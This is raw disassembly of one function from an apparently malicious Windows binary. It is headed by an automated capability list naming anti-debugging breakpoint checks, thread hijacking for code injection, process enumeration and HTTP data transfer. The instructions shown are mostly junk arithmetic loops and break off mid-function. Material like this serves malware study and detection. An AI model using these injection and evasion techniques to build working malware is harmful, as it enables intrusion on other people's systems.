Function at 0x140001584
Capabilities:
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Encode data using base64
Enumerate processes
Enumerate threads
Hijack thread execution
Parse pe header
Read data from internet
Receive data
Resume thread
Send data
Send http request
Suspend thread

Disassembly:
push rbp
push rbx
mov eax, 0x51d8
call fcn.1400403c0
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x5140], xmm6
mov dword [rbp + 0x5170], ecx
mov qword [rbp + 0x5178], rdx
call dbg.__main
mov ecx, 0x2e4
call sym.malloc
mov qword [rbp + 0x34c0], rax
mov dword [rbp + 0x5138], 0
jmp 0x14000164c
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x648], eax
mov ecx, dword [rbp + 0x648]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x648], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x648]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x640], rax
add dword [rbp + 0x5138], 1
cmp dword [rbp + 0x5138], 0xac
jle 0x1400015d1
mov ecx, 0x48
call sym.malloc
mov qword [rbp + 0x34b8], rax
mov ecx, 0x48
call sym.malloc
mov qword [rbp + 0x34b0], rax
mov ecx, 0x48
call sym.malloc
mov qword [rbp + 0x34a8], rax
mov dword [rbp + 0x5134], 0
jmp 0x140001788
mov dword [rbp + 0x5130], 0
jmp 0x140001774
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x5134]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x34b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x5130]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x5134]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x34b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x5130]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x5130], 1
cmp dword [rbp + 0x5130], 8
jle 0x1400016ad
add dword [rbp + 0x5134], 1
cmp dword [rbp + 0x5134], 1
jle 0x14000169e
mov dword [rbp + 0x5134], 0
jmp 0x140001865
mov dword [rbp + 0x5130], 0
jmp 0x140001851
mov eax, dword [rbp + 0x5134]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x34b8]
add rdx, rax
mov eax, dword [rbp + 0x5130]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x5134]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x34b0]
add rdx, rax
mov eax, dword [rbp + 0x5130]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x5134]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x34a8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x5130]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x5130], 1
cmp dword [rbp + 0x5130], 8
jle 0x1400017b3
add dword [rbp + 0x5134], 1
cmp dword [rbp + 0x5134], 1
jle 0x1400017a4
mov rax, qword [rbp + 0x34b8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x34b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x34a8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x5124], 0
mov ecx, 0xc38
call sym.malloc
mov qword [rbp + 0x34a0], rax
mov dword [rbp + 0x512c], 0
jmp 0x14000194c
mov dword [rbp + 0x5128], 0
jmp 0x14000193c
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x6a84f0eb
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2674
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x512c]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x34a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x5128]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x5128], 1
cmp dword [rbp + 0x5128], 0x21
jle 0x1400018d5
add dword [rbp + 0x512c], 1
cmp dword [rbp + 0x512c], 0x16
jle 0x1400018c9
mov dword [rbp + 0x512c], 0
jmp 0x1400019d3
mov dword [rbp + 0x5128], 0
jmp 0x1400019c3
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x5124]
mov eax, dword [rbp + 0x512c]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x34a0]
add rdx, rax
mov eax, dword [rbp + 0x5128]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x5124], eax
add dword [rbp + 0x5128], 1
cmp dword [rbp + 0x5128], 0x21
jle 0x140001971
add dword [rbp + 0x512c], 1
cmp dword [rbp + 0x512c], 0x16
jle 0x140001965
mov rax, qword [rbp + 0x34a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x5120], 0xffffffff
add dword [rbp + 0x5120], 1
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 2
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x3498], rax
cmp dword [rbp + 0x5120], 0xe5
jle 0x1400019f5
mov ecx, 0x418
call sym.malloc
mov qword [rbp + 0x3490], rax
mov dword [rbp + 0x511c], 0
jmp 0x140001ab4
call sym.rand
mov edx, dword [rbp + 0x511c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3490]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x511c], 1
cmp dword [rbp + 0x511c], 0x105
jle 0x140001a67
mov dword [rbp + 0x511c], 0
jmp 0x140001ba4
cmp dword [rbp + 0x511c], 0
je 0x140001b14
mov eax, dword [rbp + 0x511c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3490]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x511c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x3490]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001b20
add dword [rbp + 0x511c], 1
jmp 0x140001ba4
mov eax, dword [rbp + 0x511c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3490]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x64c], eax
mov eax, dword [rbp + 0x511c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3490]
add rax, rdx
mov edx, dword [rbp + 0x511c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x3490]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x511c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3490]
add rdx, rax
mov eax, dword [rbp + 0x64c]
mov dword [rdx], eax
sub dword [rbp + 0x511c], 1
cmp dword [rbp + 0x511c], 0x105
jle 0x140001acf
mov rax, qword [rbp + 0x3490]
mov rcx, rax
call sym.free
mov ecx, 0x460
call sym.malloc
mov qword [rbp + 0x3488], rax
mov ecx, 0x460
call sym.malloc
mov qword [rbp + 0x3480], rax
mov ecx, 0x460
call sym.malloc
mov qword [rbp + 0x3478], rax
mov dword [rbp + 0x5118], 0
jmp 0x140001ce9
mov dword [rbp + 0x5114], 0
jmp 0x140001cd5
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x5118]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x3488]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x5114]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x5118]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x3480]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x5114]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x5114], 1
cmp dword [rbp + 0x5114], 0x13
jle 0x140001c14
add dword [rbp + 0x5118], 1
cmp dword [rbp + 0x5118], 0xd
jle 0x140001c05
mov dword [rbp + 0x5118], 0
jmp 0x140001dc6
mov dword [rbp + 0x5114], 0
jmp 0x140001db2
mov eax, dword [rbp + 0x5118]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3488]
add rdx, rax
mov eax, dword [rbp + 0x5114]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x5118]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3480]
add rdx, rax
mov eax, dword [rbp + 0x5114]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x5118]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3478]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x5114]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x5114], 1
cmp dword [rbp + 0x5114], 0x13
jle 0x140001d14
add dword [rbp + 0x5118], 1
cmp dword [rbp + 0x5118], 0xd
jle 0x140001d05
mov rax, qword [rbp + 0x3488]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3480]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3478]
mov rcx, rax
call sym.free
mov dword [rbp + 0x5110], 0
mov dword [rbp + 0x510c], 0
mov ecx, 0x1b0
call sym.malloc
mov qword [rbp + 0x3470], rax
mov dword [rbp + 0x5108], 0
jmp 0x140001e9f
call sym.rand
mov edx, dword [rbp + 0x5108]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3470]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x5108]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3470]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x5110], eax
add dword [rbp + 0x5108], 1
cmp dword [rbp + 0x5108], 0x6b
jle 0x140001e31
mov dword [rbp + 0x5108], 0
jmp 0x140001f24
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x510c]
mov eax, dword [rbp + 0x5108]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3470]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x650]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140048088]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x510c], eax
add dword [rbp + 0x5108], 1
cmp dword [rbp + 0x5108], 0x6b
jle 0x140001eb4
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x510c]
movss xmm1, dword [0x140048090]
divss xmm0, xmm1
movss dword [rbp + 0x346c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x346c]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x3468], xmm0
mov rax, qword [rbp + 0x3470]
mov rcx, rax
call sym.free
mov ecx, 0xf0
call sym.malloc
mov qword [rbp + 0x3460], rax
mov dword [rbp + 0x5104], 0
mov dword [rbp + 0x345c], 1
mov dword [rbp + 0x5100], 0
jmp 0x140002022
mov dword [rbp + 0x50fc], 0
jmp 0x140002012
call sym.rand
mov edx, dword [rbp + 0x5100]
movsxd rdx, edx
mov rcx, rdx
shl rcx, 4
mov rdx, qword [rbp + 0x3460]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x50fc]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x50fc], 1
cmp dword [rbp + 0x50fc], 3
jle 0x140001fc0
add dword [rbp + 0x5100], 1
cmp dword [rbp + 0x5100], 0xe
jle 0x140001fb4
mov dword [rbp + 0x5100], 0
jmp 0x140002089
mov dword [rbp + 0x50fc], 0
jmp 0x140002079
mov eax, dword [rbp + 0x5100]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x3460]
add rdx, rax
mov eax, dword [rbp + 0x50fc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002072
add dword [rbp + 0x5104], 1
add dword [rbp + 0x50fc], 1
cmp dword [rbp + 0x50fc], 3
jle 0x140002043
add dword [rbp + 0x5100], 1
cmp dword [rbp + 0x5100], 0xe
jle 0x140002037
cmp dword [rbp + 0x5104], 0x1e
je 0x1400020a5
mov dword [rbp + 0x345c], 0
mov rax, qword [rbp + 0x3460]
mov rcx, rax
call sym.free
mov ecx, 0x7c4
call sym.malloc
mov qword [rbp + 0x3450], rax
mov ecx, 0x7c4
call sym.malloc
mov qword [rbp + 0x3448], rax
mov dword [rbp + 0x50f4], 0x1f0
mov dword [rbp + 0x50f8], 0
jmp 0x14000217c
call sym.rand
mov edx, dword [rbp + 0x50f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3450]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x50f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3450]
add rax, rdx
mov edx, dword [rbp + 0x50f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3448]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x50f4], 1
add dword [rbp + 0x50f8], 1
cmp dword [rbp + 0x50f8], 0x1f0
jle 0x1400020ef
mov rax, qword [rbp + 0x3450]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3448]
mov rcx, rax
call sym.free
mov qword [rbp + 0x50e8], 0
mov dword [rbp + 0x3444], 0x40
mov dword [rbp + 0x50f0], 1
jmp 0x1400021e1
mov eax, dword [rbp + 0x50f0]
cdqe
add qword [rbp + 0x50e8], rax
add dword [rbp + 0x50f0], 1
mov eax, dword [rbp + 0x50f0]
cmp eax, dword [rbp + 0x3444]
jle 0x1400021cb
mov dword [rbp + 0x50e4], 0xffffffff
add dword [rbp + 0x50e4], 1
call sym.rand
imul eax, eax, 0x1ba
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x3438], rax
cmp dword [rbp + 0x50e4], 0x162
jle 0x1400021f9
mov ecx, 0x7a8
call sym.malloc
mov qword [rbp + 0x3430], rax
mov dword [rbp + 0x50e0], 0
jmp 0x1400022b1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x50e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3430]
add rax, rdx
movsd xmm1, qword [0x140048098]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x50e0], 1
cmp dword [rbp + 0x50e0], 0xf4
jle 0x140002263
mov dword [rbp + 0x50e0], 0
jmp 0x140002318
mov eax, dword [rbp + 0x50e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3430]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x50e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3430]
add rax, rdx
movq xmm1, qword [0x1400480a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x50e0], 1
cmp dword [rbp + 0x50e0], 0xf4
jle 0x1400022c9
mov dword [rbp + 0x50dc], 0xffffffff
mov ecx, 0xcc8
call sym.malloc
mov qword [rbp + 0x3428], rax
mov ecx, 0xcc8
call sym.malloc
mov qword [rbp + 0x3420], rax
add dword [rbp + 0x50dc], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x50dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3428]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x50dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3428]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3420]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x50dc], 0x197
jle 0x140002350
mov ecx, 0x48c
call sym.malloc
mov qword [rbp + 0x3418], rax
mov dword [rbp + 0x50d4], 0
mov dword [rbp + 0x3414], 0
mov dword [rbp + 0x50d8], 0
jmp 0x1400024b2
call sym.rand
mov edx, dword [rbp + 0x50d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3418]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x50d8], 1
cmp dword [rbp + 0x50d8], 0x122
jle 0x140002466
mov dword [rbp + 0x50d8], 0
jmp 0x1400024f3
mov eax, dword [rbp + 0x50d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3418]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x50d4], eax
add dword [rbp + 0x50d8], 1
cmp dword [rbp + 0x50d8], 0x122
jle 0x1400024ca
mov rax, qword [rbp + 0x3418]
mov rcx, rax
call sym.free
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x3408], rax
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x3400], rax
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x33f8], rax
mov dword [rbp + 0x50d0], 0
jmp 0x14000261e
mov dword [rbp + 0x50cc], 0
jmp 0x14000260a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x50d0]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x3408]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x50cc]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x50d0]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x3400]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x50cc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x50cc], 1
cmp dword [rbp + 0x50cc], 7
jle 0x14000255f
add dword [rbp + 0x50d0], 1
cmp dword [rbp + 0x50d0], 0x11
jle 0x140002550
mov dword [rbp + 0x50d0], 0
jmp 0x1400026d7
mov dword [rbp + 0x50cc], 0
jmp 0x1400026c3
mov eax, dword [rbp + 0x50d0]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x3408]
add rdx, rax
mov eax, dword [rbp + 0x50cc]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x50d0]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x3400]
add rdx, rax
mov eax, dword [rbp + 0x50cc]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x50d0]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x33f8]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x50cc]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x50cc], 1
cmp dword [rbp + 0x50cc], 7
jle 0x140002646
add dword [rbp + 0x50d0], 1
cmp dword [rbp + 0x50d0], 0x11
jle 0x14000263a
mov rax, qword [rbp + 0x3408]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3400]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x33f8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x50c8], 0
mov dword [rbp + 0x50c4], 0
mov ecx, 0x1fc
call sym.malloc
mov qword [rbp + 0x33f0], rax
mov dword [rbp + 0x50c0], 0
jmp 0x1400027b0
call sym.rand
mov edx, dword [rbp + 0x50c0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x33f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x50c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x50c8], eax
add dword [rbp + 0x50c0], 1
cmp dword [rbp + 0x50c0], 0x7e
jle 0x140002742
mov dword [rbp + 0x50c0], 0
jmp 0x140002835
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x50c4]
mov eax, dword [rbp + 0x50c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33f0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x654]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, qword [0x140048088]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x50c4], eax
add dword [rbp + 0x50c0], 1
cmp dword [rbp + 0x50c0], 0x7e
jle 0x1400027c5
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x50c4]
movss xmm1, dword [0x1400480b0]
divss xmm0, xmm1
movss dword [rbp + 0x33ec], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x33ec]
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x33e8], xmm0
mov rax, qword [rbp + 0x33f0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x50bc], 0xffffffff
mov ecx, 0xa48
call sym.malloc
mov qword [rbp + 0x33e0], rax
add dword [rbp + 0x50bc], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x50bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33e0]
add rax, rdx
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x50bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x33e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x50bc], 0x147
jle 0x1400028af
mov dword [rbp + 0x50b8], 0xffffffff
mov ecx, 0x280
call sym.malloc
mov qword [rbp + 0x33d8], rax
add dword [rbp + 0x50b8], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x50b8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33d8]
add rax, rdx
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x50b8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50b8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x33d8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x50b8], 0x4e
jle 0x140002963
mov dword [rbp + 0x50b4], 0xffffffff
mov ecx, 0xaa0
call sym.malloc
mov qword [rbp + 0x33d0], rax
mov ecx, 0xaa0
call sym.malloc
mov qword [rbp + 0x33c8], rax
add dword [rbp + 0x50b4], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x50b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33d0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
